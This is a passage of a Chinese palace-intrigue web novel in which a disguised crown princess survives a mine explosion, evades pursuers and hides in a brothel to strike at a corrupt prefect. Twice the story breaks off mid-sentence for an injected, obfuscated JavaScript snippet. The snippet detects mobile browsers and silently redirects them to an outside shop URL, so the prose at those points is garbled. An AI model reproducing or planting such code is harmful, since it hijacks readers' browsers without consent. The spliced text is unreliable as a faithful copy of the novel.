“他们还真有精神,现在还没散宴呢,对了,刚刚梁家那郎君你瞧见没,听说之前就是给大当家牵马的小卒,现在都当上大官了!神气得很,五当家的对他都客客气气,还想把妹妹嫁给他呢!可惜人家愣是瞧不上。” “这就叫做十年河西十年河东!说不定我们日后也有这样的造化!”那山匪把自个都说激动了,语调为之高扬。 另一个泼冷水道:“你我就别想了,你也不看看人家那是天时地利人和,缺一不可啊!当年若非大当家收留他,又力排众议相信他不是卫家派来的奸细,他早就死在四当家的大刀下,哪里还有往后的造化?” “他命好呗,一个被家族赶出来的弃子,现在居然活得这么好……” “谁说不是,要不是卫家倒了,他肯定早死了,要我说当年去长安告状的人里头定有一个是他!” 等着两巡逻的过去,李相筠半天没有动。 孙小郎问:“我们不走了吗?” “等会……” 李相筠对他一摆手,垂睫沉思:“先让我想想。” 两山匪口里说的那人,听起来像是关侍郎,可为何要叫他梁郎君而不是关郎君。 梁?梁家商行,梁家堡,石心砚…… 李相筠越想越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我与汪中尉也只是合作关系,并不是他的人,所以无须对我盘问到底。” “兄长,裴少保。” 李竹芸安慰好关娘子,提裙从后边小跑上来,她的头发还有些凌乱,一些首饰已经摘掉了,唯一留在头发上的是那支银制竹节钗。 “太子有消息了吗?” 李柏寒也跟着问裴承,“你既然在里面见着太子,为何没有带她一块出来?” 太子向来荒唐,裴少保居然没有阻止她胡闹。 裴承看了眼李竹芸,宽慰:“太子既然有办法进去,也有办法出来,郡主受惊了,还是先回去才是,在让人送郡主。” 李竹芸蹙起眉,低声道:“可是……” 飞星飞雨赶回来,向裴承禀告:“家主,我们在一条小路上发现很多硝石碎屑,有人曾经运硝石进去,他们是不是打算把矿洞炸了?” 这时候李柏寒才像是想到什么,咬牙道:“我想起来,定然是关侍郎,他说过一句,叫我们千万不能进去,没想打他居然打算这样做!” 话才落,李柏寒看见走上来的关娘子。 哪怕在火把的光照之下,关娘子的脸还是像被刷上了一层铅白粉,毫无血色。 几人都被这个消息惊得一动不动。 唯有李竹芸醒神,着急开口:“可太子还在里面!” 这谁都知道太子还未出来,邓统领在前头沉着脸来回踱步,都快犁出地来了。 飞星飞雨对视了眼,又去看裴承。 倘若家主要他们进去救人,他们也会义不容辞去冒险。 裴承见一个个都在瞧他,就连李柏寒都在看他,就好像拿捏住他的心思,料定他会出手相救。 他沉思片刻,转头看着李竹芸,温声道:“这里太危险,我让飞星飞雨送郡主离开。” 小太子若死在这里,也怪不了他什么。 因为他来长安,本就不是为李相筠。 实话说,他在找到许多不利于小太子证据的时候就应该果断杀掉他。 至于为什么没有杀掉…… 一声震天的雷鸣撼动大地,几乎所有人都不禁摇晃了好几下,大意的直接扑倒在地,摔了个四仰八叉。 “是地动?” “不、不是,是铜矿!铜矿被炸了!” 有人一指后方,即便是深夜,也能看见滚滚浓烟冒出来,夜栖林鸟、百兽也被巨响惊醒,飞向天空,蹿出树林。 铜矿被炸了。 裴承脑子里的纷杂的想法一瞬间被荡清。 一只无形的手猛地擒住他的心脏,力气大到像是要立刻捏爆它。 心脏如此脆弱的东西,何须要如此大的力度。 全身的血疯狂乱涌,他的头很痛,太阳穴跳得痉挛,还有尖锐的啸声充斥在耳鼓。 飞星飞雨的脸在他面前晃,他们眼睛里有震惊也有惊诧,嘴巴一张一合,好像飞快在说些什么。 可裴承一句都听不清楚,他只听见自己的血在倒流,在疯涌。 心痛?难过?后悔? 无法定义。 他想,他原来也是不希望李相筠死的。 他还没有找到确切的证据。 万一他是无辜的呢?万一一切都是他的政敌捏造出来的谎言呢? 万一,他并不是害死李相宇的罪魁祸首呢? 他刚刚应该把李相筠带出牢房,他那么怕冷,他却连一件衣服都吝啬地没有留给他。 “不会的,不会的,殿下怎么会死……”郡主抓住李柏寒的手,“兄长,你快派人进去救太子啊,她……” 李柏寒下意识抓紧李竹芸的手,脸色变得难看至极。 关娘子摇摇欲坠,又咬牙坚持地站在原地。 所有的人都六神无主地看着铜矿的方向,呆若木鸡。 直到一声尖啸破空,信号弹在铜矿的西北角炸亮。 邓谦紧握着刀柄的手立刻松开,精神为之一振,大喊道:“殿下在西北角!” 裴承眼睛眨了下,跟着动了下。 天空中幽绿的焰火已经转过最璀璨的时分,如雨点落下。 高悬的心终于落了下来。 38.是他 李相筠做过许多危险的事,也赌过很多生死局,但是应该没有哪一次能有今日这般惊险。 幸好她捡了条死毒蛇。 趁乱先给山匪头下毒又挟持关侍郎。 最重要的是那先前救过她的人没有给她添乱,反而助她一臂之力,才让山匪们不敢轻举妄动,要不然她也不能在半个时辰里把几十名百姓转移出来。 至于里面的山匪,虽然炸死可惜,但是让他们活着,她又岂能脱身。 更何况只要有关博在,她的种种疑问何愁无解。 从矿洞出来,劫后余生的孙小郎手脚都是软的,摊在树下大口喘着气,却见到李相筠还冷酷地用刀抵在关侍郎的脖颈下,并没有因为刚刚的地动山摇而松懈半分。 这便是泰山崩于前而色不变,真乃大英雄大丈夫是也。 关侍郎刚刚猛咳一顿,现在虚弱地靠在树上,眼皮都无力地耷下,“刚刚他要杀我,殿下何不让我死?” 李相筠一只手还捂在自己的左腹上,混战之中她自然也是受了不少伤,不过这也并不影响她有余力制服本来就虚弱的关侍郎。 “你认识他?” “殿下居然不认识他?”关侍郎觉得好笑,笑出声音。 李相筠用刀背狠狠撞了下他的咽喉,关侍郎痛得咳嗽不止,险些把五脏六腑都吐出来。 刚刚在宴席上,他还喝了不少酒,本就头晕恶心,太子对他下手更是毫不留情。 “我该认识那个人吗?”李相筠转过刀锋,将锋利的那一面抵住关侍郎的咽喉。 虽然救过她两次,但是李相筠的的确确并不认识他。 关侍郎看也没有看那危险的刀,笑道:“殿下不认识,我可以告诉你他是什么人,他姓卫,单名衷,是你的舅舅啊。” 舅舅? 李相筠一愣。 她又想起三年前那封信,倘若那封信没有被拦截下来,应该是要送到她手上的,她不认识什么卫衷的字迹,可是严兴良也不知道她从未与卫衷有过书信往来。 他既然敢把信给她看,说明那字迹应该就是卫衷的。 是卫衷故意要害她,恐吓她,还是另有什么企图她并不知晓,她只知道,那封信差点把她害死。 要不是皇兄的死讯…… 思及此,李相筠刚对那人升起的一些好感就烟消云散。 她不该轻易相信一个陌生人,哪怕他们之间有血缘关系。 母妃已死,卫家已抄,卫衷能对她有几分好感? 只怕情谊少,算计多吧。 先给几颗甜枣,再来几记闷拳的事情她也不是没有干过。 由己推人,卫衷说不定也是想借机获取她的信任,再行歹事。 “哈哈哈,太子殿下还真是狠心,我们哥几个本是以礼相待,没想到你却要将我们赶尽杀绝,好在天无绝人之地,我们冤家路短又遇上了。” 孙小郎一个激灵站起,跑到李相筠身侧,颤颤巍巍抱住她的胳膊,惊恐道:“他、他们没有被炸死!” “炸死?你看看我这半边脸,我这只眼睛。”山匪头儿虽没有死,但是脸伤的很重,纱布裹着半张脸,已经完全被血浸湿,他的胳膊上也血淋淋,刚刚蛇毒牙划破的肉给他当机立断剜了去,所以整个人看起来分外骇人。 他用仅剩的那只眼射出阴毒的光,狠狠扫过树下的三人,像是在思考从谁先下手。 李相筠拔出关侍郎簪发的银簪递给孙小郎,“看好这个。” 孙小郎愣愣地接过银簪,依样画葫芦抵在关侍郎脖子上。 关侍郎咳了两声,“殿下还是快跑吧,你一个人怎么对付的了那么多人?” 孙小郎看见四个山匪露脸的时候已经打起退堂鼓,谁知道后面一瘸一拐又跟上来五个,眼下这是九打一,虽说对方也伤的不轻,但是李相筠自己又能好到哪里去? 山匪头儿看见李相筠捂伤的手已被鲜血染红,料想他也是强弩之末,不由更加猖狂起来:“说到不错,你再怎么逞强,也打不过我们这么多兄弟,倒不如早点低头认输,爷几个还留你一个全尸!” 李相筠把匕首反握在手里,看着那山匪头儿冷笑,“认输?就凭你们几个?” 几个伤势轻的山匪立刻拿起棍棒刀枪冲上来,孙小郎本是不忍直视,但还是在李相筠冲上去的那刻瞪大眼睛,不敢错过他的一招一式。 关侍郎冷眼旁观,问道:“你觉得他会不会死在这里?” 孙小郎虽然与李相筠认识不久,但是被他保护多次,心中早把他当做恩人,关侍郎堂而皇之在旁边说风凉话,他气不过,用银簪子戳了戳他的脖子,说狠话:“他要是死这,你也活不了。” “他要是活着,我才活不了。”关侍郎笑。 孙小郎刚刚也看见李相筠用刀威胁关侍郎,他们两个之间有仇假不了,所以关侍郎这话他反驳不了,只能道: “那、那你反正都要死了,还不积点口德,免得下去后,还要打入十八层地狱!” “我反正都是要下地狱的人。”关侍郎看着夜空,自嘲道:“过过嘴瘾又有什么关系?” 孙小郎彻底没招了。 对这个人,他杀也不是,放也不是。 “殿下在那!” “殿下!” 是救兵来了! 孙小郎立刻扔下银簪蹦起来,挥动两只手道: “我们在这!我们在这!” 林子深处涌出好几十人。 山匪们面色凝重,刚刚是我强敌弱,现在就是我弱敌强,再留下去就是自取灭亡! 山匪头儿连忙招呼人道:“该死的,他刚刚放的那枚是信号弹!快!——我们走!” 李相筠看山匪要逃,当机立断将手里的匕.首掷出,可惜因伤势的缘故,力道准头都差了些,没有扎住山匪头儿,让他跑了。 “殿下!”邓谦一个健步冲上前,及时扶住腿脚不稳的李相筠。 李相筠抓住他的手,“去,把他们都杀掉,一个也别放过。” 邓谦扶着太子,能感受到太子身体的颤动,似是伤的不轻,“那殿下的伤?” 李相筠强撑着道:“……我没事,杀山匪要紧,他们可能就是赤乌流寇的余孽……” 邓谦霎时就变了脸色,一手扶刀,一边望向山匪们逃离的方向,气息随即就沉重起来。 “那属下……属下这就先去!” 李相筠又用力握了下他的手,压低声音叮嘱道:“斩草除根!” 这些山匪看见卫衷“救”她的事情,那么多张嘴,她可不希望将来在长安听见再有风声说自己与卫家有牵连。 执金卫留下四人听李相筠差遣,其余人随邓谦去追山匪。 李相筠指向关侍郎,命两人去把他捆好。 李柏寒从后面大步上前阻止,“殿下这是做什么?关侍郎他犯了什么错?” 李相筠大口喘着气,手按在伤处,“他与……关娘子与郡主呢?” 李柏寒本等着听太子解释,没想打他话音一变又问起两位女郎。 “关娘子与郡主都在安全的地方。” 听到裴承的声音就在旁边,李相筠这才侧头看见了他。 因为背着火光,人脸都看不清所以没有第一时间留意到,不过也可能是因为她流血过多的原因,现在眼前还一阵阵发晕。 还得快点上药止血才是。 李相筠把手伸向李柏寒,想同他说几句话,但手半途就被裴承截住。 “殿下醒来后为何不离开?” 李相筠拍开裴承的手,气道:“孤的事情,用不着你来管。” 裴承究竟会不会看眼色,这时候还要烦她。 “又弄成一身伤,殿下就高兴了?”裴承只粗略一扫视,就发现李相筠手臂上两处轻伤,腰上一刀重伤,这会他还用手按在上面,像是每一次呼吸都牵扯到痛处。 李相筠没接他的话,干脆扭头问:“李世子,身上带伤药吗?” 李柏寒小事上会跟太子对着干,但大事却也拎得清,太子不能死在这。 他赶紧把身上带的伤药都奉出来。 赵郡王世子能用的药都是上好的药,但是李相筠也是用惯好东西的人,所以一点也不肉疼,拧开瓶子,大把往自己伤处撒,直到药粉厚厚覆住伤处,血都流不出来为止。 “殿下这处理伤口的法子未免太草率了点……”李柏寒是个讲究的人,没见过人连伤口都不清理,衣服也不割开就上药的,万一伤口愈合,肉黏住衣服,再想处理那又是一道新伤口。 裴承只是看着,没再出声。 他总算明白李相筠身上的伤是怎么留印的,照他这样敷衍的治伤,没死已经是幸运了。 李相筠又服了一瓶内用的伤药,才有精神问:“铜矿爆炸后,那些百姓你们可有看见。” 李柏寒道:“看见了,梁家人也在其中,他们的状况都很不好,所以我们的人分出一部分,护他们下山去了。” 若不是担心太子,他们也该下山去了。 他环视一圈,警惕道:“这里也不是久留之地,我们还是要尽早下山回羊集县,以免发生变故。” “有人来了。”裴承先站起来。 外圈的马不安嘶鸣,李相筠因为坐在地上,故而还能感受到地上石子在震动。 “有马。” 这种频率、节奏的动静,还是快马。 李柏寒皱眉,“羊集县不可能再派人马过来,是山匪吗?” 李相筠摇头,“除了逃出来那几个,其他应该都炸死在里面了,除非……” “除非什么?” 李相筠想起卫家,卫衷,但是牵扯出他们是李相筠最不想的事情,故而打住话头。 这个时候不管是不是卫衷,带着人马大张旗鼓冲回来,绝非好事。 “给我找匹马。” “李相筠,你这个样子还能骑马?”李柏寒没忍住道。 执金卫给李相筠牵来马,但还没等扶太子上马,那一头赶上来的人已经露了面。 火把成林,照亮人脸。 “李世勋?!”李柏寒陡然看见这张脸,立刻诧异道:“你不是……” “哟,这不是伯渊吗?”骑在马上,身穿软甲的年轻郎君两手握住鞍环,一歪脑袋反问:“怎么,很奇怪我没有在封地自生自灭?” “不是,亭俞,我没有这么想过……”李柏寒走前几步。 “停,客套话假交情不用说,你是没有想过,但是你为那老娘们可是把弟兄们都卖了,我有今天的下场全是拜你和你阿耶所赐,要不是你们对李相筠婢膝奴颜,俯首称臣,我的处境能有这么糟糕?” 李柏寒冷下脸,“你我的事情,用不着诋毁关娘子。” “单单是我们的事吗?你要不是为了那老娘们,还设计自己摔马演一出苦肉计,谁都知道关博对他那妹妹视若珍宝,看你是横竖不顺眼,你就使这一出,好让人兄妹产生隔阂。”李世勋大笑起来,“但是你万万不该因为她,向李相筠让步,让我,让我们这些宗亲从此步步艰难!” 靠着树根的关博冷笑了声。 孙小郎看看这个看看那个,都不敢吱声。 这一个个都是大人物,哪有他说话的地方。 李柏寒脸色铁青,但是李世勋一股脑倒出来,他连插嘴的功夫都没有。 “你到底来这里想做什么?” “做什么?”李世勋举起右手,鞭子直指他身后,张狂道:“李相筠,你以前说我们坐不到一张桌,没有谈判的余地,那现在呢?” 李柏寒一听是找李相筠麻烦的,连忙转身,但是身后哪有李相筠的影子,他又往后看,这才看见骑在马背上的李相筠。 “谈判?你这个样子是来谈判的吗?”李相筠笑了下,一夹马腹,喝道:“走!” 李世勋眼看李相筠拍拍屁股就跑了,人下意识跟着往前伸,但是视线哪能跟得上马的速度,转眼间就连李相筠的马屁股都看不见。 “世子……”随从也看呆了,没想到堂堂太子竟然话没说两句,果断跑了,下意识朝李世勋走近两步。 李世勋暴怒地抽了他一鞭子,“还愣住做什么,还不快追!” 李相筠反应快,裴承都没能跟上他,更遑论李世勋。 但林子里这一追一跑,李相筠就没了踪迹。 / “殿下受着伤能去哪?外边那李世勋还在以追查流寇的明目大张旗鼓追捕他,难道我们就在这里等消息?” 陆展最后悔的事就是让李相筠随孙小郎进去,所以他一看见孙小郎就沉下脸,“还有你,要不是你诓骗,殿下能去冒险吗?你知不知道他是什么人!” 孙小郎被陆展一凶,下意识就呛回道:“我哪知道,他要是那么金贵,干嘛不自己珍惜点?” 这话说的也没错,这件事最要负责的不是孙小郎,也不是邓统领,而是李相筠自己。 身为太子任意忘形,肆意妄为惯了,从来不把自己的安危当回事。 县衙外一行人整装待发,陆展仔细一看,原来是裴家人,为首的那个正是裴承。 “裴少保!” 裴承只回了个头,没有搭话便领着人走了。 裴承近来总是不给他好脸色,可两人分明没什么矛盾,真让他摸不清头脑。 陆展拧着眉,往外追了几步,副使就一个箭步拽住他,硬生生把人拉着往后趔趄两步。 陆展回头,莫名道:“你做什么?” 副使哭丧着脸,“陆中郎将,你瞧瞧关侍郎兄妹跑了,赵郡王世子带着人去追,眼下太子又失踪,裴少保也走了,只剩下您了!您可不能不管我们啊,现在这羊集县县令是阶下囚,县丞病榻躺,连个能理事的人都没有,要是连您也走了,我们这差事没法交代啊!” 陆展想抽手,但副使抱得更紧,陆展是一点也不想管羊集县的事,转运使的差事又不是他的差事,他现在最想知道的是太子去了哪! 两日后,郸城。 飞星站在窗口往下望,“嚯”了一声,“家主,你说小太子当真会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199828|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃到这里吗?看齐郡王世子这阵仗,不逮到人不肯罢休啊!这几天出城都需要太守的亲印信才能出去,满街盘查,严防死守。” 飞雨盘手背靠着窗边的墙上,探头往外一看。 郸城巡防队正持枪扶刀,乌泱泱横扫大街,客栈酒楼时不时被扫荡抽检,弄得人仰马翻,怨声载道。 照这样地毯式搜刮,要小太子真在郸城,想必用不了多久就会被找到。 “这郸城太守与齐郡王交好,太子运气有点背,要躲也不能躲这里来。” “太子伤重,许是是听说郸城有神医云游至此。”裴承喝了口茶润桑。 “太子的伤不是有赵郡王世子的药治,也不至于吧。” 裴承竖起食指,“他身上不但有伤,还有我的一滴血。” 飞星瞪大眼睛,夸张地拉长语调,“啊——那、那太子现在还活着吗?” 飞雨翻了个白眼,道:“李氏皇族每年都在服用裴家上供的药,太子肯定是死不了。” 裴家为保存己身,做了不少让步,送药就是其中之一。 飞星点点头,后知后觉道:“所以家主的法子对太子都没有用,不然的话我们可省事多了。” “话又说回来太子还有那个沈统领,都是王八精转世吧,到底藏哪里去了这么会藏,到处也找不到。” “找不到是人家的本事。” 飞星听明白了,捅了捅飞雨的胳膊,“家主这是在说你没用呢!” 飞雨瞥了眼,“怎么不是说你没用。” 飞星嘿嘿两声,又窜到裴承身边蹲着,“家主,如果太子真在这里,我们又要怎么才能找到他?” “假如你被困在一个城池里,出去只有太守的亲印信,你会怎么做?” 飞雨走到旁边,答:“接近太守,搞死太守。” “……”飞星嘴角抽抽,“搞到印信不就可以吗?干啥要搞死人啊!” “哐当”一声。 一群官兵粗.暴推门,吓了飞星一大跳,还以为是被他们听见了对话。 然这些官兵进来也不说什么,就展开手中画像对三人比照,一高阶官员还抬手指裴承,喝道:“你,起来!” 裴承瞟也没有瞟他们一眼,飞星轻巧一跃,落到他们面前,掏出块牌子冲他们晃了晃,“喊谁呢,要不要命了?” 校尉差点被银牌打到鼻子,吓了一跳,往后一躲,才定睛看清那是一块银制的圆牌,外圈是两只首尾相衔的蛇,里面写了个裴字。 在西南地界的都知道裴家的能耐,谁人敢不给他们面子。 这下,他是真的吓到了,连眼前的飞星都没能仔细看一眼,连忙埋头鞠躬,“小的不知道是尊驾,冒犯了,小的小的给您磕头了,还望宽宥小的们。” 他赶紧跪下,眼看头要碰地上了,飞星赶忙伸脚,靴尖托起他的前额。 “用不着,我们家主只有几句话要问,你老实回答就是。” 校尉点头如啄米。 “一定的,一定的。” 裴承放下酒盏,转过头,开口道:“你们太守最近常去什么地方?” 校尉“啊”了声,立刻老实交代:“我们太守啊,最近喜欢去春香楼,春香楼里的娘子可都是技艺双绝,最近啊,最近还来了很多新鲜的……” 又看那边郎君目光专注,他心领神会,马上道:“要不,小的给太守说一声?” / 春香楼。 裴承应邀前来,张太守挑着两撇翘胡,笑得满面红光,对裴家几人热情招待。 “裴家主大驾光临怎么都不通知我们,来来来,喝酒,这可都是十年以上的梨花酒,还有这两位小兄弟,要不要也来一杯。” 飞星摆摆手,“我等还要保护家主安全。” “裴家主就带两个侍卫,真是艺高胆大,不像我,出个门不带十个八个都心不安啊。”张太守把两个侍卫打量了下,说起奉承话。 裴承拿起酒杯,状若不经意问:“张太守在楼下藏的不止十个八个吧?是发生什么事了吗?” 张太守尴尬笑了两声,“还不是最近有个小贼,老是盯着我,我家娘子怕我有危险,叫我多带着人。” “太守夫人好大度。”飞星赞道。 丈夫逛花楼,娘子还怕他遇到危险嘞。 张太守谦虚:“哪里哪里。” “张太守手下能人无数,是什么样的小贼能在太岁头上动土。” 张太守担惊受怕了几日,忍不住倒苦水,“某也不知道啊,但那小贼分明是冲着我的这条命来的,您瞧瞧这儿,上次黑灯瞎火的巷子上,他给我脖子上来了这么一刀,险些送我归西啊!” 裴承看见他脖子上痕迹,很细的一道刀痕。 “最近郸城街上在搜捕流寇,莫非正是因为此事?” “那倒不是……”张太守压低声音,“是因为齐郡王世子听说最近有流寇假冒太子殿下。” “竟有这样的荒唐事?” “可不是嘛!”张太守换了个舒服的姿势,让伺候的女娘过来给他捏着脚,继续说道:“据说是世子截获了一封信,那人以太子的口吻居然想叫折冲府调兵过来,您说,这不是把我们都当傻子吗?若是太子来郸城下官怎会不知道?那肯定不会一个人来,前呼后拥的,我们又不是瞎子,是不是?” 裴承慢条斯理道:“说不定,太子就喜欢独来独往呢?” 张太守摆着手,大笑:“不可能不可能。” 和裴承待在一个屋,张太守实在玩不开,脸都笑僵了,很快就寻了个借口出去,留给裴承一屋子十来个年轻貌美的娘子作陪。 脂粉味刺鼻,娘子们笑声聒噪,裴承让飞星打开门,让这些娘子们回去。 门外,春香楼的管事嬷嬷正捏着帕子扭着腰,领着一群打扮的花枝招展的娘子经过,和屋里走出来的正好遇上,娘子们忍不住向嬷嬷抱怨屋里的郎君白长了一张俊脸却不解风情! 可不是她们不想用心伺候贵客啊! 裴承本不愿理会这些,但是飞星竟在窃窃偷笑,他免不了要抬头警告一下,谁知这一眼他却意外撞进一双眼睛里。 那娘子脸上浓妆艳抹,一身明艳罗裙,看起来和旁边笑眼弯弯的娘子没什么分别,但他却能敏锐察觉那眼睛里面的嘲讽与冷笑。 还不等他多瞧一眼,他袖子里的小飞如箭一样射出去,像只蜜蜂猛地扎进花堆,惹来一声声惊恐的尖叫。 “飞星。” 飞星拔腿就去追。 “对不住让一让,让我……欸?——” 眼前一花,一团白毛袭到面门前,幸亏飞星眼疾手快,伸手捞住,不然肯定要砸他脸上。 也不知是哪位好心又胆大的娘子帮了他一把,要不然这重重叠叠的罗裙底下他还不知道怎样才能抓住调皮捣蛋的小飞。 就是这专门往人脸上扔的感觉莫名有点熟悉啊…… 小飞此刻在他手心扭成了麻花,奋力挣扎。 “吱吱吱!” 就是他! 39.掉马 精心装扮的娘子们被这一变故弄得个个花容失色,嬷嬷面上不好看,但对太守亲自领来的贵客也不敢多言,只喝令娘子们快快整容理妆,不要叫待会太守见了不欢喜。 李相筠低头在后边装模作样地整理,头上这些做工劣质的珠钗丁零当啷,不但沉甸甸,还容易勾缠头发。 她心不在焉地把钗子挨个插稳,心底却在想刚刚的事。 没想到在这里居然能碰上裴承。 这裴家主表面一本正经,背地里也是酒色之徒,还专程挑了个远的地方喝花酒,难不成是怕被认识的人撞见? 不过无论如何,眼下这种情形都不是相认的好时机,她只希望裴承是真的来喝花酒的而不是来给她捣乱的。 娘子们整理好,楼妈妈叫赶紧走,别的耽搁时间了。 “梅影,你怎么魂不守舍的,是不是还不舒服?” 旁边楼里的娘子一边扶着她的手臂,一边小声宽慰她道:“虽说张太守喝醉后容易打人,但是他给的赏钱也多,上一回橘香就是从他那儿得了十两钱,十两呢!都够她弟弟娶个媳妇了。” “哦,橘香就是昨夜你说那个被打得左脸毁容的那娘子?十两可不够她养伤。” 张太守酗酒成性,每每喝醉后与楼里的娘子寻欢,不弄伤几个消停不了。 所以春香楼时不时要去寻一些年轻貌美的娘子来“充数”,好让太守不至于扫兴。 李相筠和两名相护的执金卫失散,一路还被李世勋的人马追捕,不得已避入郸城。 屋漏逢雨,书信被截,城门死守出不去,街上巡防搜查不断。 不过天无绝人之地,她恰遇到个娘子女扮男装翻墙出去玩耍,她灵光一现,便反其道而行之换回女装,又浓妆艳抹蒙混过关。 只是无论男装女装,出城门都要太守印信才行,所以待在郸城不是长久之计。 李相筠一向不是坐以待毙或者做等救援的人,再加上郸城太守也算是她的“熟人”。 此人原本在长安做官时就与皇兄不对付,处处为难不说,当年太子妃去别宫待产就是想避人耳目,他威逼利诱了产婆,偷偷往长安递送消息,这才让圣人对小郡主发难。 太子妃身死,皇兄避出长安,一年之中有半数时间游历在外,与圣人的父子之情也从此破裂…… 当年的血债也有他一笔,李相筠怎能放过。 只是她一次没有得手,让张太守侥幸逃了,此后他变得谨慎小心,太守府巡逻加密,出行时又加派看护,让她一时再找不到合适机会下手。 就这般过了两日,她突发高热,被到观里祈福的春香楼娘子捡到,带回春香楼。 春香楼的管事嬷嬷见到她的脸,马上喜笑眉开,不但请医开药为她治病,还好声好气哄骗她来春香楼打个零工赚个小钱。 只要陪个酒,好处多多。 确实好处多多,李相筠正愁接近不了张太守,要不了他的狗命。 “还养什么伤,嬷嬷看她脸坏了,就给她介绍了一个山里看墓的老汉,她上个月就欢欢喜喜把自己嫁了,虽然那老汉年纪大了些,但他一辈子没有女人,对橘香也好。”兰花娘子羡慕道:“像我们这样花楼出去的娘子能够嫁到权贵人家的少之又少,能有个老实的男人要就不错了。” “张太守摧残了这么多娘子,怎么没有人报官?” “梅影你傻了吗?他就是这里最大的官啊。”兰花娘子从荷包袋里取出一枚劣质糖丸交给李相筠,“看你精神不好,含上这糖丸,可让你身体好一些,待会你跟着我,不要怕。” 兰花娘子心地又善良,对总是懵懵懂懂又生得我见犹怜的李相筠自然而然生出几分怜惜之情,想要照顾她。 但她并不知道李相筠“懵懵懂懂”是因为扮演无助无知的女郎好让嬷嬷放下警惕,“我见犹怜”只是因为伤势未愈身体虚弱,体力不支。 李相筠捏着糖丸没有吃,前头嬷嬷在催,她把糖丸放进自己荷包里,跟上娘子们的步伐。 屋门一开,一股浓郁香味扑面而来,李相筠心底忽的浮起异样的焦躁。 就好像一曲无声的战鼓敲响,她的热血开始沸腾。 “梅影,还愣着做什么?快进来啊!”嬷嬷站在门口招呼,其余娘子已经鱼贯而入,徒留下一连串银铃般的娇笑声,只剩下李相筠还傻傻站在外头惹人眼。 门两边四名太守的侍卫还不住往她脸上打量,似乎在琢磨什么不对劲的地方。 嬷嬷扭着腰快走几步,搂住李相筠的肩介绍:“这位娘子是外地人,她阿耶是个糊涂的酒鬼,把家产败光了,又卖了这可怜见的女儿换酒钱……” 短短几步路的时间,春香楼嬷嬷已经为李相筠编造出一个可怜的身世,两侍卫同情地目送李相筠入屋。 李相筠特意留意嬷嬷走进屋子时的脸色如常,料想这浓香应该是春香楼常用的。 张太守左拥右抱,喝完左边美人凑上来的美酒,又吃着右边美人剥好的甜橘,一双笑得弯弯的眼睛却在偷偷打量屋内的人。 陪酒娘子、春香楼管事、婢女、外边的侍卫…… 有眼熟的也有陌生的,这些人里面真的会有太子安排的杀手吗? 李世勋出的什么鬼主意,这不是要他以身做饵,万一对方得手,他丢掉的可是一条命啊! 张太守转开视线,投向下边冒着烟的香炉。 哎,但愿这香管用吧。 / 夜越深,春香楼越热闹喧哗。 裴承已经喝完两壶酒,飞星又赶走一波前来打探的娘子就回到他身边禀告:“家主,一切正常。看来今晚不会发什么事情了。” 言外之意就是他们没必要在这乌烟瘴气的地方白费时间。 但裴承没有要走的意思。 刚刚那道眼神让他一直琢磨。 似曾相识的感觉,但一时间想不起是在什么地方见过。 他走马观花见过的女郎固然数量不会少,但是却没一个能与刚刚那女郎对上。 究竟是在哪里见过? 裴承道:“再等等,今晚必然会有事。” 话音落下没有多久,外面中庭就传来一声尖锐的叫声: “啊!——杀、杀人了!” 纷至沓来的脚步声踩得木板咯吱咯吱叫,飞星马上打开门探头出去看,左看一眼,右看一眼,啧啧称奇地回来。 “家主真是料事如神,果然出事了!莫非是太子来杀张太守了?也不知道得手了没!” 语气里还有些唯恐天下不乱的期待。 裴承立刻起身:“去看看。” 张太守虽侥幸没有死成,但是半身都是血,估摸是伤势不轻,惨白着张脸被侍从簇拥着下去休息,连迎面遇上裴承一行人都没顾得上打招呼,一副魂不守舍的惊恐模样。 而他原本作乐的那屋已经毁得不成样子。 破损的挂帐,倒塌的烛台,砸碎的果盘,被踩得稀巴烂的果子混着酒液散发出一种浓郁复杂的气味。 春香楼的杂役正在里边埋头收捡。 飞星踏入其中环视屋里的惨状,不由感慨。 “那‘刺客’破坏性很大嘛!这是打了一场恶架?” 不但到处一片狼藉,就连屋里面最大的蜡烛台都熄了,所以越往里边越光线昏暗。 “不是,这些其实都是张太守弄的,他喝醉后喜欢乱打乱砸,每一次都会弄得一团糟。”杂役对此早有怨言,因而听见有生人询问,便倒豆子一样把实情全部吐露出来,他又抬手一指,“那边,那几道刀痕才是杀手弄的。” 裴承正好站在杂役指的地方附近,侧头就见到柱子上有几道头重脚轻的痕迹,刻度都不深,像是持刀人下手极狠但后继无力。 飞星好奇相问,杂役知无不言。 原来这张太守原本就有怪癖,来春香楼经常要大闹一场才肯罢休,故而看守的侍卫一开始并没有在意里面的尖叫与打闹,还以为是如往常一般,直到屋子里熄了光,随后又响起张太守杀猪般的惨叫,才知道里面混入杀手。 一打开门,女郎们尖叫着很快就跑了个没影,侍卫们进去查看才发现张太守险些被人一刀割了脖子。 至于凶手,谁也没有瞧见! “不知道是何人所为,但据说那人行踪诡异,或许是跳窗逃了。” 杂役又指着那边洞开的窗户,风正吹进来,窗边的帷幔轻轻飘扬。 飞星几步窜到窗边,往下看见的是一条黑沉沉的河水。 与此同时,裴承正盯着一侧冒着一缕黑烟的香炉半晌,“飞星,检查下香炉。” 飞星立刻跑回来,捻了点粉末放在鼻子下嗅了嗅,吃惊道:“这不是南巫寨的东西,怎么出现在这……” 刚刚那杂役捧着东西经过,看见他们都围在香炉旁,便提醒道:“小郎君你可别多闻,那香是太守用来助兴的。” “助兴?这分明是用来致乱的,你知道的吧?就是那种用来让人癫狂的,要是长期吸食的话这辈子都离不开的东西。” 杂役摇摇头。 他只知道那是昂贵的香料,只有太守来才会点上,别的客人还没有这福分。 